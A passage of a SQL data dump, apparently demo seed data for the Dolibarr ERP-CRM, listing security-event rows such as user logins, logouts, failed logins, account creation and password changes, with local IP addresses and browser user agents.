created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36',NULL,NULL,NULL,NULL),(734,'2018-01-22 16:27:02','USER_NEW_PASSWORD',1,'2018-01-22 17:27:02',12,'Password change for ldestailleur','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36',NULL,NULL,NULL,NULL),(735,'2018-01-22 16:28:34','USER_MODIFY',1,'2018-01-22 17:28:34',12,'User ldestailleur modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36',NULL,NULL,NULL,NULL),(736,'2018-01-22 16:30:01','USER_ENABLEDISABLE',1,'2018-01-22 17:30:01',12,'User cc2 activated','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36',NULL,NULL,NULL,NULL),(737,'2018-01-22 17:11:06','USER_LOGIN',1,'2018-01-22 18:11:06',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=1600x790','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36',NULL,NULL,NULL,NULL),(738,'2018-01-22 18:00:02','USER_DELETE',1,'2018-01-22 19:00:02',12,'User zzz removed','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36',NULL,NULL,NULL,NULL),(739,'2018-01-22 18:01:40','USER_DELETE',1,'2018-01-22 19:01:40',12,'User aaab removed','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36',NULL,NULL,NULL,NULL),(740,'2018-01-22 18:01:52','USER_DELETE',1,'2018-01-22 19:01:52',12,'User zzzg removed','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36',NULL,NULL,NULL,NULL),(741,'2018-03-13 10:54:59','USER_LOGIN',1,'2018-03-13 14:54:59',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x971','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36',NULL,NULL,NULL,NULL),(742,'2018-07-30 11:13:10','USER_LOGIN',1,'2018-07-30 15:13:10',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(743,'2018-07-30 12:50:23','USER_CREATE',1,'2018-07-30 16:50:23',12,'User eldy created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(744,'2018-07-30 12:50:23','USER_CREATE',1,'2018-07-30 16:50:23',12,'User eldy created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(745,'2018-07-30 12:50:23','USER_NEW_PASSWORD',1,'2018-07-30 16:50:23',12,'Password change for eldy','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(746,'2018-07-30 12:50:38','USER_MODIFY',1,'2018-07-30 16:50:38',12,'User eldy modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(747,'2018-07-30 12:50:54','USER_DELETE',1,'2018-07-30 16:50:54',12,'User eldy removed','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(748,'2018-07-30 12:51:23','USER_NEW_PASSWORD',1,'2018-07-30 16:51:23',12,'Password change for ldestailleur','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(749,'2018-07-30 12:51:23','USER_MODIFY',1,'2018-07-30 16:51:23',12,'User ldestailleur modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(750,'2018-07-30 18:26:58','USER_LOGIN',1,'2018-07-30 22:26:58',18,'(UserLogged,ldestailleur) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(751,'2018-07-30 18:27:40','USER_LOGOUT',1,'2018-07-30 22:27:40',18,'(UserLogoff,ldestailleur)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(752,'2018-07-30 18:27:47','USER_LOGIN',1,'2018-07-30 22:27:47',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(753,'2018-07-30 19:00:00','USER_LOGOUT',1,'2018-07-30 23:00:00',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(754,'2018-07-30 19:00:04','USER_LOGIN',1,'2018-07-30 23:00:04',2,'(UserLogged,demo) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(755,'2018-07-30 19:00:14','USER_LOGOUT',1,'2018-07-30 23:00:14',2,'(UserLogoff,demo)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(756,'2018-07-30 19:00:19','USER_LOGIN',1,'2018-07-30 23:00:19',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(757,'2018-07-30 19:00:43','USER_LOGOUT',1,'2018-07-30 23:00:43',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(758,'2018-07-30 19:00:48','USER_LOGIN',1,'2018-07-30 23:00:48',2,'(UserLogged,demo) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(759,'2018-07-30 19:03:52','USER_LOGOUT',1,'2018-07-30 23:03:52',2,'(UserLogoff,demo)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(760,'2018-07-30 19:03:57','USER_LOGIN_FAILED',1,'2018-07-30 23:03:57',NULL,'Bad value for login or password - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(761,'2018-07-30 19:03:59','USER_LOGIN',1,'2018-07-30 23:03:59',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(762,'2018-07-30 19:04:13','USER_LOGOUT',1,'2018-07-30 23:04:13',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(763,'2018-07-30 19:04:17','USER_LOGIN',1,'2018-07-30 23:04:17',2,'(UserLogged,demo) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(764,'2018-07-30 19:04:26','USER_LOGOUT',1,'2018-07-30 23:04:26',2,'(UserLogoff,demo)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(765,'2018-07-30 19:04:31','USER_LOGIN',1,'2018-07-30 23:04:31',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(766,'2018-07-30 19:10:50','USER_LOGOUT',1,'2018-07-30 23:10:50',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(767,'2018-07-30 19:10:54','USER_LOGIN',1,'2018-07-30 23:10:54',2,'(UserLogged,demo) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(768,'2018-07-31 10:15:52','USER_LOGIN',1,'2018-07-31 14:15:52',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Lynx/2.8.8pre.4 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/2.12.23',NULL,NULL,NULL,NULL),(769,'2018-07-31 10:16:27','USER_LOGIN',1,'2018-07-31 14:16:27',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(770,'2018-07-31 10:32:14','USER_LOGIN',1,'2018-07-31 14:32:14',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Lynx/2.8.8pre.4 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/2.12.23',NULL,NULL,NULL,NULL),(771,'2018-07-31 10:36:28','USER_LOGIN',1,'2018-07-31 14:36:28',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Links (2.8; Linux 3.19.0-46-generic x86_64; GNU C 4.8.2; text)',NULL,NULL,NULL,NULL),(772,'2018-07-31 10:40:10','USER_LOGIN',1,'2018-07-31 14:40:10',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Links (2.8; Linux 3.19.0-46-generic x86_64; GNU C 4.8.2; text)',NULL,NULL,NULL,NULL),(773,'2018-07-31 10:54:16','USER_LOGIN',1,'2018-07-31 14:54:16',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Lynx/2.8.8pre.4 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/2.12.23',NULL,NULL,NULL,NULL),(774,'2018-07-31 12:52:52','USER_LOGIN',1,'2018-07-31 16:52:52',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x592','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(775,'2018-07-31 13:25:33','USER_LOGOUT',1,'2018-07-31 17:25:33',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(776,'2018-07-31 13:26:32','USER_LOGIN',1,'2018-07-31 17:26:32',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1280x751','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(777,'2018-07-31 14:13:57','USER_LOGOUT',1,'2018-07-31 18:13:57',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(778,'2018-07-31 14:14:04','USER_LOGIN',1,'2018-07-31 18:14:04',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(779,'2018-07-31 16:04:35','USER_LOGIN',1,'2018-07-31 20:04:34',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(780,'2018-07-31 21:14:14','USER_LOGIN',1,'2018-08-01 01:14:14',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36',NULL,NULL,NULL,NULL),(781,'2017-01-29 15:14:05','USER_LOGOUT',1,'2017-01-29 19:14:05',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(782,'2017-01-29 15:34:43','USER_LOGIN',1,'2017-01-29 19:34:43',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x571','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(783,'2017-01-29 15:35:04','USER_LOGOUT',1,'2017-01-29 19:35:04',12,'(UserLogoff,admin)','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(784,'2017-01-29 15:35:12','USER_LOGIN',1,'2017-01-29 19:35:12',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(785,'2017-01-29 15:36:43','USER_LOGOUT',1,'2017-01-29 19:36:43',12,'(UserLogoff,admin)','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(786,'2017-01-29 15:41:21','USER_LOGIN',1,'2017-01-29 19:41:21',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x571','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(787,'2017-01-29 15:41:41','USER_LOGOUT',1,'2017-01-29 19:41:41',12,'(UserLogoff,admin)','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(788,'2017-01-29 15:42:43','USER_LOGIN',1,'2017-01-29 19:42:43',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x571','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(789,'2017-01-29 15:43:18','USER_LOGOUT',1,'2017-01-29 19:43:18',12,'(UserLogoff,admin)','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(790,'2017-01-29 15:46:31','USER_LOGIN',1,'2017-01-29 19:46:31',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x571','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(791,'2017-01-29 16:18:56','USER_LOGIN',1,'2017-01-29 20:18:56',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=360x526','192.168.0.254','Mozilla/5.0 (Linux; Android 6.0; LG-H818 Build/MRA58K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/55.0.2883.91 Mobile Safari/537.36 - DoliDroid - Android client pour Dolibarr ERP-CRM',NULL,NULL,NULL,NULL),(792,'2017-01-29 17:20:59','USER_LOGIN',1,'2017-01-29 21:20:59',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(793,'2017-01-30 11:19:40','USER_LOGIN',1,'2017-01-30 15:19:40',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(794,'2017-01-31 16:49:39','USER_LOGIN',1,'2017-01-31 20:49:39',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x520','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(795,'2017-02-01 10:55:23','USER_LOGIN',1,'2017-02-01 14:55:23',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(796,'2017-02-01 13:34:31','USER_LOGIN',1,'2017-02-01 17:34:31',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(797,'2017-02-01 14:41:26','USER_LOGIN',1,'2017-02-01 18:41:26',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(798,'2017-02-01 23:51:48','USER_LOGIN_FAILED',1,'2017-02-02 03:51:48',NULL,'Bad value for login or password - login=autologin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(799,'2017-02-01 23:52:55','USER_LOGIN',1,'2017-02-02 03:52:55',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(800,'2017-02-01 23:55:45','USER_CREATE',1,'2017-02-02 03:55:45',12,'User aboston created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(801,'2017-02-01 23:55:45','USER_NEW_PASSWORD',1,'2017-02-02 03:55:45',12,'Password change for aboston','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(802,'2017-02-01 23:56:38','USER_MODIFY',1,'2017-02-02 03:56:38',12,'User aboston modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(803,'2017-02-01 23:56:50','USER_MODIFY',1,'2017-02-02 03:56:50',12,'User aboston modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(804,'2017-02-02 01:14:44','USER_LOGIN',1,'2017-02-02 05:14:44',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(805,'2017-02-03 10:27:18','USER_LOGIN',1,'2017-02-03 14:27:18',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(806,'2017-02-04 10:22:34','USER_LOGIN',1,'2017-02-04 14:22:34',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x489','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(807,'2017-02-06 04:01:31','USER_LOGIN',1,'2017-02-06 08:01:31',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(808,'2017-02-06 10:21:32','USER_LOGIN',1,'2017-02-06 14:21:32',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(809,'2017-02-06 19:09:27','USER_LOGIN',1,'2017-02-06 23:09:27',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(810,'2017-02-06 23:39:17','USER_LOGIN',1,'2017-02-07 03:39:17',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(811,'2017-02-07 11:36:34','USER_LOGIN',1,'2017-02-07 15:36:34',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x676','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(812,'2017-02-07 18:51:53','USER_LOGIN',1,'2017-02-07 22:51:53',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(813,'2017-02-07 23:13:40','USER_LOGIN',1,'2017-02-08 03:13:40',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(814,'2017-02-08 09:29:12','USER_LOGIN',1,'2017-02-08 13:29:12',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(815,'2017-02-08 17:33:12','USER_LOGIN',1,'2017-02-08 21:33:12',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(816,'2017-02-09 17:30:34','USER_LOGIN',1,'2017-02-09 21:30:34',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(817,'2017-02-10 09:30:02','USER_LOGIN',1,'2017-02-10 13:30:02',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(818,'2017-02-10 16:16:14','USER_LOGIN',1,'2017-02-10 20:16:14',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(819,'2017-02-10 17:28:15','USER_LOGIN',1,'2017-02-10 21:28:15',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(820,'2017-02-11 12:54:03','USER_LOGIN',1,'2017-02-11 16:54:03',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(821,'2017-02-11 17:23:52','USER_LOGIN',1,'2017-02-11 21:23:52',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(822,'2017-02-12 12:44:03','USER_LOGIN',1,'2017-02-12 16:44:03',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(823,'2017-02-12 16:42:13','USER_LOGIN',1,'2017-02-12 20:42:13',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(824,'2017-02-12 19:14:18','USER_LOGIN',1,'2017-02-12 23:14:18',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 